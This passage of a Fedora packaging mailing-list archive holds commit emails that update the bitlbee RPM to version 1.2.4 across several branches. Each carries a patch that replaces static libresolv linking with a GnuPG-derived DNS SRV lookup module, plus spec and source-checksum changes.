+			 packet. */
+			rc=dn_expand(answer, emsg, pt, srv->name, MAXDNAME);
+			if (rc==1 && srv->name[0]==0) /* "." */
+				goto noanswer;
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+			/* Corrupt packet? */
+			if (dlen!=rc+6)
+				goto fail;
+		}
+
+		/* Now we have an array of all the srv records. */
+
+		/* Order by priority */
+		qsort(list, srvcount, sizeof(struct ns_srv_reply), priosort);
+
+		/* For each priority, move the zero-weighted items first. */
+		for (i=0; i<srvcount; i++) {
+			int j;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (list[j].weight==0) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+
+					break;
+				}
+			}
+		}
+
+		/* Run the RFC-2782 weighting algorithm.  We don't need very
+		 high quality randomness for this, so regular libc srand/rand
+		 is sufficient. */
+		srand(time(NULL)*getpid());
+
+		for (i=0; i<srvcount; i++) {
+			int j;
+			float prio_count=0, chose;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				prio_count+=list[j].weight;
+				list[j].run_count=prio_count;
+			}
+
+			chose=prio_count*rand()/RAND_MAX;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (chose<=list[j].run_count) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+					break;
+				}
+			}
+		}
+	}
+
+	if (list == NULL)
+		return NULL;
+
+	/* TODO: bitlbee should expect a situation when more than one server
+	 * is available for the given SRV record.
+	 */
+	reply = g_malloc(sizeof(struct ns_srv_reply));
+	*reply = *list;
+	g_free(list);
+	/* list=NULL; */
+#endif /* HAVE_RESOLV_A */
+	return reply;
+
+	noanswer: g_free(list);
+	list=NULL;
+	return NULL;
+
+	fail: g_free(list);
+	list=NULL;
+	return NULL;
+}
+
+#ifdef TEST
+int main(int argc, char *argv[]) {
+	struct ns_srv_reply *srv;
+	/*int rc,i;*/
+
+	srv=srv_lookup("xmpp-client", "tcp", "jabber.org");
+	if (srv != NULL) {
+		printf("priority=%hu\n", srv->prio);
+		printf("weight=%hu\n", srv->weight);
+		printf("port=%hu\n", srv->port);
+		printf("target=%s\n", srv->name);
+		printf("\n");
+		g_free(srv);
+	}
+
+	return 0;
+}
+#endif /* TEST */
--- bitlbee-1.2.4/lib/srv.h			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.h.libresolv		2008-06-28 17:29:39.000000000 +0200
@@ -0,0 +1,49 @@
+/* srv.h
+ * Copyright (C) 2003, 2004 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef GNUPG_COMMON_SRV_H
+#define GNUPG_COMMON_SRV_H
+
+#ifdef HAVE_RESOLV_A
+# ifdef _WIN32
+#  include <windows.h>
+# else
+#  include <netinet/in.h>
+#  include <arpa/nameser.h>
+#  include <resolv.h>
+# endif /* !_WIN32 */
+#endif /* USE_DNS_SRV */
+
+
+#ifndef MAXDNAME
+#define MAXDNAME 1025
+#endif
+
+struct ns_srv_reply
+{
+	int prio; /* priority */
+	int weight; /* weight */
+	int port; /* port */
+	int run_count; /* from struct srventry at gnupg's common/srv.h */
+	char name[MAXDNAME]; /* target */
+};
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain);
+
+#endif /*GNUPG_COMMON_SRV_H*/
--- bitlbee-1.2.4/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/Makefile.libresolv		2009-10-17 20:23:53.000000000 +0200
@@ -10,7 +10,7 @@
 
 # Program variables
 objects = account.o bitlbee.o chat.o crypting.o help.o ipc.o irc.o irc_commands.o nick.o query.o root_commands.o set.o storage.o $(STORAGE_OBJS) user.o
-headers = account.h bitlbee.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/ssl_client.h lib/url.h protocols/nogaim.h
+headers = account.h bitlbee.h chat.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/srv.h lib/ssl_client.h lib/url.h protocols/nogaim.h
 subdirs = lib protocols
 
 ifeq ($(TARGET),i586-mingw32msvc)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	7 Sep 2008 20:02:46 -0000	1.7
+++ .cvsignore	17 Oct 2009 18:56:13 -0000	1.8
@@ -1 +1 @@
-bitlbee-1.2.3.tar.gz
+bitlbee-1.2.4.tar.gz


Index: bitlbee.spec
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/F-12/bitlbee.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- bitlbee.spec	16 Aug 2009 22:43:44 -0000	1.12
+++ bitlbee.spec	17 Oct 2009 18:56:13 -0000	1.13
@@ -1,14 +1,14 @@
 Summary:           IRC to other chat networks gateway
 Name:              bitlbee
-Version:           1.2.3
-Release:           4%{?dist}
+Version:           1.2.4
+Release:           1%{?dist}
 License:           GPLv2+ and MIT
 Group:             System Environment/Daemons
 URL:               http://www.bitlbee.org/
 Source0:           http://get.bitlbee.org/src/%{name}-%{version}.tar.gz
 Source1:           bitlbee.xinetd
 Source2:           bitlbee-wrapper.h
-Patch0:            bitlbee-1.2.3-libresolv.patch
+Patch0:            bitlbee-1.2.4-libresolv.patch
 Requires:          xinetd
 Requires(pre):     shadow-utils
 Requires(preun):   /sbin/service
@@ -125,6 +125,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Sat Oct 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.4-1
+- Upgrade to 1.2.4
+
 * Mon Aug 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.3-4
 - Updated libresolv patch to not segfault when connecting to the
   Jabber/XMPP server if there's no SRV record (#506719, #501786)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2008 20:02:46 -0000	1.7
+++ sources	17 Oct 2009 18:56:13 -0000	1.8
@@ -1 +1 @@
-2b1674d98804970809de3da3edf0bed2  bitlbee-1.2.3.tar.gz
+26b9bfc5446bdf0e932e8074d117be67  bitlbee-1.2.4.tar.gz


--- bitlbee-1.2.3-libresolv.patch DELETED ---



From robert at fedoraproject.org  Sat Oct 17 18:56:14 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sat, 17 Oct 2009 18:56:14 +0000 (UTC)
Subject: rpms/bitlbee/devel bitlbee-1.2.4-libresolv.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 bitlbee.spec, 1.12, 1.13 sources, 1.7,
	1.8 bitlbee-1.2.3-libresolv.patch, 1.1, NONE
Message-ID: <20091017185614.8C03011C0260@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/extras/rpms/bitlbee/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32327/devel

Modified Files:
	.cvsignore bitlbee.spec sources 
Added Files:
	bitlbee-1.2.4-libresolv.patch 
Removed Files:
	bitlbee-1.2.3-libresolv.patch 
Log Message:
Upgrade to 1.2.4


bitlbee-1.2.4-libresolv.patch:
 Makefile     |    2 
 configure    |    6 -
 lib/Makefile |    2 
 lib/misc.c   |   53 -------------
 lib/misc.h   |    9 --
 lib/srv.c    |  239 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 lib/srv.h    |   49 ++++++++++++
 7 files changed, 295 insertions(+), 65 deletions(-)

--- NEW FILE bitlbee-1.2.4-libresolv.patch ---
Patch by Robert Scheck <robert at fedoraproject.org>, based on a patch by Mat?j Cepl
<mcepl at redhat.com> for bitlbee >= 1.2, to avoid static linking to a private glibc
function, normally visible as libc.so.6(GLIBC_PRIVATE) in the binary RPM package.

Unfortunately, this patch gets not accepted by upstream, as they're fine with the
static linking. The former try with libbind has the problem, that it breaks, once
the file transfer patch is added, because of libbind apparently all symbols which
are synonyms between glibc and libbind came from libbind, which made some nasty
surprises when e.g. getaddrinfo from libbind returned different error codes than
getaddrinfo from glibc.

A few more information and details regarding are mentioned in Red Hat Bugzilla ID
#439047, see: https://bugzilla.redhat.com/show_bug.cgi?id=439047

--- bitlbee-1.2.4/configure			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/configure.libresolv		2009-10-17 20:17:11.000000000 +0200
@@ -19,7 +19,7 @@
 pidfile='/var/run/bitlbee.pid'
 ipcsocket='/var/run/bitlbee.sock'
 pcdir='$prefix/lib/pkgconfig'
-systemlibdirs="/lib /usr/lib /usr/local/lib"
+systemlibdirs="/lib64 /usr/lib64 /usr/local/lib64 /lib /usr/lib /usr/local/lib"
 
 msn=1
 jabber=1
@@ -349,9 +349,9 @@
 echo 'SSL_CLIENT=ssl_'$ssl'.o' >> Makefile.settings
 
 for i in $systemlibdirs; do
-	if [ -f $i/libresolv.a ]; then
+	if [ -f $i/libresolv.so ]; then
 		echo '#define HAVE_RESOLV_A' >> config.h
-		echo 'EFLAGS+='$i'/libresolv.a' >> Makefile.settings
+		echo 'EFLAGS+=-lresolv' >> Makefile.settings
 		break
 	fi
 done
--- bitlbee-1.2.4/lib/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/Makefile.libresolv	2009-10-17 20:17:38.000000000 +0200
@@ -9,7 +9,7 @@
 -include ../Makefile.settings
 
 # [SH] Program variables
-objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o $(SSL_CLIENT) url.o xmltree.o
+objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o srv.o $(SSL_CLIENT) url.o xmltree.o
 
 CFLAGS += -Wall
 LFLAGS += -r
--- bitlbee-1.2.4/lib/misc.c			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.c.libresolv		2009-10-17 20:18:34.000000000 +0200
@@ -43,6 +43,7 @@
 #ifdef HAVE_RESOLV_A
 #include <arpa/nameser.h>
 #include <resolv.h>
+#include <netinet/in.h>
 #endif
 
 #include "ssl_client.h"
@@ -467,58 +468,6 @@
 	return 0;
 }
 
-struct ns_srv_reply *srv_lookup( char *service, char *protocol, char *domain )
-{	
-	struct ns_srv_reply *reply = NULL;
-#ifdef HAVE_RESOLV_A
-	char name[1024];
-	unsigned char querybuf[1024];
-	const unsigned char *buf;
-	ns_msg nsh;
-	ns_rr rr;
-	int i, len, size;
-	
-	g_snprintf( name, sizeof( name ), "_%s._%s.%s", service, protocol, domain );
-	
-	if( ( size = res_query( name, ns_c_in, ns_t_srv, querybuf, sizeof( querybuf ) ) ) <= 0 )
-		return NULL;
-	
-	if( ns_initparse( querybuf, size, &nsh ) != 0 )
-		return NULL;
-	
-	if( ns_parserr( &nsh, ns_s_an, 0, &rr ) != 0 )
-		return NULL;
-	
-	size = ns_rr_rdlen( rr );
-	buf = ns_rr_rdata( rr );
-	
-	len = 0;
-	for( i = 6; i < size && buf[i]; i += buf[i] + 1 )
-		len += buf[i] + 1;
-	
-	if( i > size )
-		return NULL;
-	
-	reply = g_malloc( sizeof( struct ns_srv_reply ) + len );
-	memcpy( reply->name, buf + 7, len );
-	
-	for( i = buf[6]; i < len && buf[7+i]; i += buf[7+i] + 1 )
-		reply->name[i] = '.';
-	
-	if( i > len )
-	{
-		g_free( reply );
-		return NULL;
-	}
-	
-	reply->prio = ( buf[0] << 8 ) | buf[1];
-	reply->weight = ( buf[2] << 8 ) | buf[3];
-	reply->port = ( buf[4] << 8 ) | buf[5];
-#endif
-	
-	return reply;
-}
-
 /* Word wrapping. Yes, I know this isn't UTF-8 clean. I'm willing to take the risk. */
 char *word_wrap( char *msg, int line_len )
 {
--- bitlbee-1.2.4/lib/misc.h			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.h.libresolv		2009-10-17 20:19:03.000000000 +0200
@@ -28,14 +28,7 @@
 
 #include <gmodule.h>
 #include <time.h>
-
-struct ns_srv_reply
-{
-	int prio;
-	int weight;
-	int port;
-	char name[];
-};
+#include "srv.h"
 
 G_MODULE_EXPORT void strip_linefeed( gchar *text );
 G_MODULE_EXPORT char *add_cr( char *text );
--- bitlbee-1.2.4/lib/srv.c			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.c.libresolv		2008-06-28 17:28:45.000000000 +0200
@@ -0,0 +1,239 @@
+/* srv.c - DNS SRV code
+ * Copyright (C) 2003 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#undef TEST
+
+#ifdef TEST
+#define HAVE_RESOLV_A
+#endif
+
+#include <config.h>
+#include <sys/types.h>
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+#include "srv.h"
+#include <glib.h>
+#include <glib/gprintf.h>
+#include <glib/gutils.h>
+
+/* Not every installation has gotten around to supporting SRVs yet...*/
+#ifndef T_SRV
+#define T_SRV 33
+#endif
+
+static int priosort(const void *a, const void *b) {
+	const struct ns_srv_reply *sa=a, *sb=b;
+	if (sa->prio>sb->prio)
+		return 1;
+	else if (sa->prio<sb->prio)
+		return -1;
+	else
+		return 0;
+}
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain) {
+	struct ns_srv_reply *reply = NULL;
+	struct ns_srv_reply *list = NULL;
+	char name[1024];
+#ifdef HAVE_RESOLV_A
+	unsigned char answer[PACKETSZ];
+	int r, srvcount=0;
+	unsigned char *pt, *emsg;
+	int count, dlen;
+
+	g_snprintf(name, sizeof(name ), "_%s._%s.%s", service, protocol, domain);
+
+	_res.options |= RES_DEBUG;
+	
+	if ( res_init() != 0 ) 
+		return NULL;
+	
+	r=res_query(name, C_IN, T_SRV, answer, PACKETSZ);
+	
+	if (r<sizeof(HEADER) || r>PACKETSZ)
+		return NULL;
+
+	if ((((HEADER *)answer)->rcode)==NOERROR && (count=ntohs(((HEADER *)answer)->ancount))) {
+		int i, rc;
+
+		emsg=&answer[r]; /* end of message ??? */
+		pt=&answer[sizeof(HEADER)];
+
+		/* Skip over the query */
+		rc=dn_skipname(pt, emsg);
+		if (rc==-1)
+			goto fail;
+
+		pt+=rc+QFIXEDSZ;
+
+		while (count-->0 && pt<emsg) {
+			struct ns_srv_reply *srv=NULL;
+			int type, class;
+
+			list=g_realloc(list, (srvcount+1)*sizeof(struct ns_srv_reply));
+			memset(&list[srvcount], 0, sizeof(struct ns_srv_reply));
+			srv=&list[srvcount];
+			srvcount++;
+
+			rc=dn_skipname(pt, emsg); /* the name we just queried for */
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+
+			/* Truncated message? */
+			if ((emsg-pt)<16)
+				goto fail;
+
+			type=*pt++ << 8;
+			type|=*pt++;
+			/* We asked for SRV and got something else !? */
+			if (type!=T_SRV)
+				goto fail;
+
+			class=*pt++ << 8;
+			class|=*pt++;
+			/* We asked for IN and got something else !? */
+			if (class!=C_IN)
+				goto fail;
+
+			pt+=4; /* ttl */
+			dlen=*pt++ << 8;
+			dlen|=*pt++;
+			srv->prio=*pt++ << 8;
+			srv->prio|=*pt++;
+			srv->weight=*pt++ << 8;
+			srv->weight|=*pt++;
+			srv->port=*pt++ << 8;
+			srv->port|=*pt++;
+
+			/* Get the name.  2782 doesn't allow name compression, but
+			 dn_expand still works to pull the name out of the
+			 packet. */
+			rc=dn_expand(answer, emsg, pt, srv->name, MAXDNAME);
+			if (rc==1 && srv->name[0]==0) /* "." */
+				goto noanswer;
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+			/* Corrupt packet? */
+			if (dlen!=rc+6)
+				goto fail;
+		}
+
+		/* Now we have an array of all the srv records. */
+
+		/* Order by priority */
+		qsort(list, srvcount, sizeof(struct ns_srv_reply), priosort);
+
+		/* For each priority, move the zero-weighted items first. */
+		for (i=0; i<srvcount; i++) {
+			int j;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (list[j].weight==0) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+
+					break;
+				}
+			}
+		}
+
+		/* Run the RFC-2782 weighting algorithm.  We don't need very
+		 high quality randomness for this, so regular libc srand/rand
+		 is sufficient. */
+		srand(time(NULL)*getpid());
+
+		for (i=0; i<srvcount; i++) {
+			int j;
+			float prio_count=0, chose;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				prio_count+=list[j].weight;
+				list[j].run_count=prio_count;
+			}
+
+			chose=prio_count*rand()/RAND_MAX;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (chose<=list[j].run_count) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+					break;
+				}
+			}
+		}
+	}
+
+	if (list == NULL)
+		return NULL;
+
+	/* TODO: bitlbee should expect a situation when more than one server
+	 * is available for the given SRV record.
+	 */
+	reply = g_malloc(sizeof(struct ns_srv_reply));
+	*reply = *list;
+	g_free(list);
+	/* list=NULL; */
+#endif /* HAVE_RESOLV_A */
+	return reply;
+
+	noanswer: g_free(list);
+	list=NULL;
+	return NULL;
+
+	fail: g_free(list);
+	list=NULL;
+	return NULL;
+}
+
+#ifdef TEST
+int main(int argc, char *argv[]) {
+	struct ns_srv_reply *srv;
+	/*int rc,i;*/
+
+	srv=srv_lookup("xmpp-client", "tcp", "jabber.org");
+	if (srv != NULL) {
+		printf("priority=%hu\n", srv->prio);
+		printf("weight=%hu\n", srv->weight);
+		printf("port=%hu\n", srv->port);
+		printf("target=%s\n", srv->name);
+		printf("\n");
+		g_free(srv);
+	}
+
+	return 0;
+}
+#endif /* TEST */
--- bitlbee-1.2.4/lib/srv.h			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.h.libresolv		2008-06-28 17:29:39.000000000 +0200
@@ -0,0 +1,49 @@
+/* srv.h
+ * Copyright (C) 2003, 2004 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef GNUPG_COMMON_SRV_H
+#define GNUPG_COMMON_SRV_H
+
+#ifdef HAVE_RESOLV_A
+# ifdef _WIN32
+#  include <windows.h>
+# else
+#  include <netinet/in.h>
+#  include <arpa/nameser.h>
+#  include <resolv.h>
+# endif /* !_WIN32 */
+#endif /* USE_DNS_SRV */
+
+
+#ifndef MAXDNAME
+#define MAXDNAME 1025
+#endif
+
+struct ns_srv_reply
+{
+	int prio; /* priority */
+	int weight; /* weight */
+	int port; /* port */
+	int run_count; /* from struct srventry at gnupg's common/srv.h */
+	char name[MAXDNAME]; /* target */
+};
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain);
+
+#endif /*GNUPG_COMMON_SRV_H*/
--- bitlbee-1.2.4/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/Makefile.libresolv		2009-10-17 20:23:53.000000000 +0200
@@ -10,7 +10,7 @@
 
 # Program variables
 objects = account.o bitlbee.o chat.o crypting.o help.o ipc.o irc.o irc_commands.o nick.o query.o root_commands.o set.o storage.o $(STORAGE_OBJS) user.o
-headers = account.h bitlbee.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/ssl_client.h lib/url.h protocols/nogaim.h
+headers = account.h bitlbee.h chat.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/srv.h lib/ssl_client.h lib/url.h protocols/nogaim.h
 subdirs = lib protocols
 
 ifeq ($(TARGET),i586-mingw32msvc)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	7 Sep 2008 20:02:46 -0000	1.7
+++ .cvsignore	17 Oct 2009 18:56:14 -0000	1.8
@@ -1 +1 @@
-bitlbee-1.2.3.tar.gz
+bitlbee-1.2.4.tar.gz


Index: bitlbee.spec
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/devel/bitlbee.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- bitlbee.spec	16 Aug 2009 22:43:44 -0000	1.12
+++ bitlbee.spec	17 Oct 2009 18:56:14 -0000	1.13
@@ -1,14 +1,14 @@
 Summary:           IRC to other chat networks gateway
 Name:              bitlbee
-Version:           1.2.3
-Release:           4%{?dist}
+Version:           1.2.4
+Release:           1%{?dist}
 License:           GPLv2+ and MIT
 Group:             System Environment/Daemons
 URL:               http://www.bitlbee.org/
 Source0:           http://get.bitlbee.org/src/%{name}-%{version}.tar.gz
 Source1:           bitlbee.xinetd
 Source2:           bitlbee-wrapper.h
-Patch0:            bitlbee-1.2.3-libresolv.patch
+Patch0:            bitlbee-1.2.4-libresolv.patch
 Requires:          xinetd
 Requires(pre):     shadow-utils
 Requires(preun):   /sbin/service
@@ -125,6 +125,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Sat Oct 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.4-1
+- Upgrade to 1.2.4
+
 * Mon Aug 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.3-4
 - Updated libresolv patch to not segfault when connecting to the
   Jabber/XMPP server if there's no SRV record (#506719, #501786)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2008 20:02:46 -0000	1.7
+++ sources	17 Oct 2009 18:56:14 -0000	1.8
@@ -1 +1 @@
-2b1674d98804970809de3da3edf0bed2  bitlbee-1.2.3.tar.gz
+26b9bfc5446bdf0e932e8074d117be67  bitlbee-1.2.4.tar.gz


--- bitlbee-1.2.3-libresolv.patch DELETED ---



From robert at fedoraproject.org  Sat Oct 17 18:56:13 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sat, 17 Oct 2009 18:56:13 +0000 (UTC)
Subject: rpms/bitlbee/EL-5 bitlbee-1.2.4-libresolv.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 bitlbee.spec, 1.8, 1.9 sources, 1.7,
	1.8 bitlbee-1.2.3-libresolv.patch, 1.1, NONE
Message-ID: <20091017185613.7E1DE11C00EC@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/extras/rpms/bitlbee/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32327/EL-5

Modified Files:
	.cvsignore bitlbee.spec sources 
Added Files:
	bitlbee-1.2.4-libresolv.patch 
Removed Files:
	bitlbee-1.2.3-libresolv.patch 
Log Message:
Upgrade to 1.2.4


bitlbee-1.2.4-libresolv.patch:
 Makefile     |    2 
 configure    |    6 -
 lib/Makefile |    2 
 lib/misc.c   |   53 -------------
 lib/misc.h   |    9 --
 lib/srv.c    |  239 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 lib/srv.h    |   49 ++++++++++++
 7 files changed, 295 insertions(+), 65 deletions(-)

--- NEW FILE bitlbee-1.2.4-libresolv.patch ---
Patch by Robert Scheck <robert at fedoraproject.org>, based on a patch by Mat?j Cepl
<mcepl at redhat.com> for bitlbee >= 1.2, to avoid static linking to a private glibc
function, normally visible as libc.so.6(GLIBC_PRIVATE) in the binary RPM package.

Unfortunately, this patch gets not accepted by upstream, as they're fine with the
static linking. The former try with libbind has the problem, that it breaks, once
the file transfer patch is added, because of libbind apparently all symbols which
are synonyms between glibc and libbind came from libbind, which made some nasty
surprises when e.g. getaddrinfo from libbind returned different error codes than
getaddrinfo from glibc.

A few more information and details regarding are mentioned in Red Hat Bugzilla ID
#439047, see: https://bugzilla.redhat.com/show_bug.cgi?id=439047

--- bitlbee-1.2.4/configure			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/configure.libresolv		2009-10-17 20:17:11.000000000 +0200
@@ -19,7 +19,7 @@
 pidfile='/var/run/bitlbee.pid'
 ipcsocket='/var/run/bitlbee.sock'
 pcdir='$prefix/lib/pkgconfig'
-systemlibdirs="/lib /usr/lib /usr/local/lib"
+systemlibdirs="/lib64 /usr/lib64 /usr/local/lib64 /lib /usr/lib /usr/local/lib"
 
 msn=1
 jabber=1
@@ -349,9 +349,9 @@
 echo 'SSL_CLIENT=ssl_'$ssl'.o' >> Makefile.settings
 
 for i in $systemlibdirs; do
-	if [ -f $i/libresolv.a ]; then
+	if [ -f $i/libresolv.so ]; then
 		echo '#define HAVE_RESOLV_A' >> config.h
-		echo 'EFLAGS+='$i'/libresolv.a' >> Makefile.settings
+		echo 'EFLAGS+=-lresolv' >> Makefile.settings
 		break
 	fi
 done
--- bitlbee-1.2.4/lib/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/Makefile.libresolv	2009-10-17 20:17:38.000000000 +0200
@@ -9,7 +9,7 @@
 -include ../Makefile.settings
 
 # [SH] Program variables
-objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o $(SSL_CLIENT) url.o xmltree.o
+objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o srv.o $(SSL_CLIENT) url.o xmltree.o
 
 CFLAGS += -Wall
 LFLAGS += -r
--- bitlbee-1.2.4/lib/misc.c			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.c.libresolv		2009-10-17 20:18:34.000000000 +0200
@@ -43,6 +43,7 @@
 #ifdef HAVE_RESOLV_A
 #include <arpa/nameser.h>
 #include <resolv.h>
+#include <netinet/in.h>
 #endif
 
 #include "ssl_client.h"
@@ -467,58 +468,6 @@
 	return 0;
 }
 
-struct ns_srv_reply *srv_lookup( char *service, char *protocol, char *domain )
-{	
-	struct ns_srv_reply *reply = NULL;
-#ifdef HAVE_RESOLV_A
-	char name[1024];
-	unsigned char querybuf[1024];
-	const unsigned char *buf;
-	ns_msg nsh;
-	ns_rr rr;
-	int i, len, size;
-	
-	g_snprintf( name, sizeof( name ), "_%s._%s.%s", service, protocol, domain );
-	
-	if( ( size = res_query( name, ns_c_in, ns_t_srv, querybuf, sizeof( querybuf ) ) ) <= 0 )
-		return NULL;
-	
-	if( ns_initparse( querybuf, size, &nsh ) != 0 )
-		return NULL;
-	
-	if( ns_parserr( &nsh, ns_s_an, 0, &rr ) != 0 )
-		return NULL;
-	
-	size = ns_rr_rdlen( rr );
-	buf = ns_rr_rdata( rr );
-	
-	len = 0;
-	for( i = 6; i < size && buf[i]; i += buf[i] + 1 )
-		len += buf[i] + 1;
-	
-	if( i > size )
-		return NULL;
-	
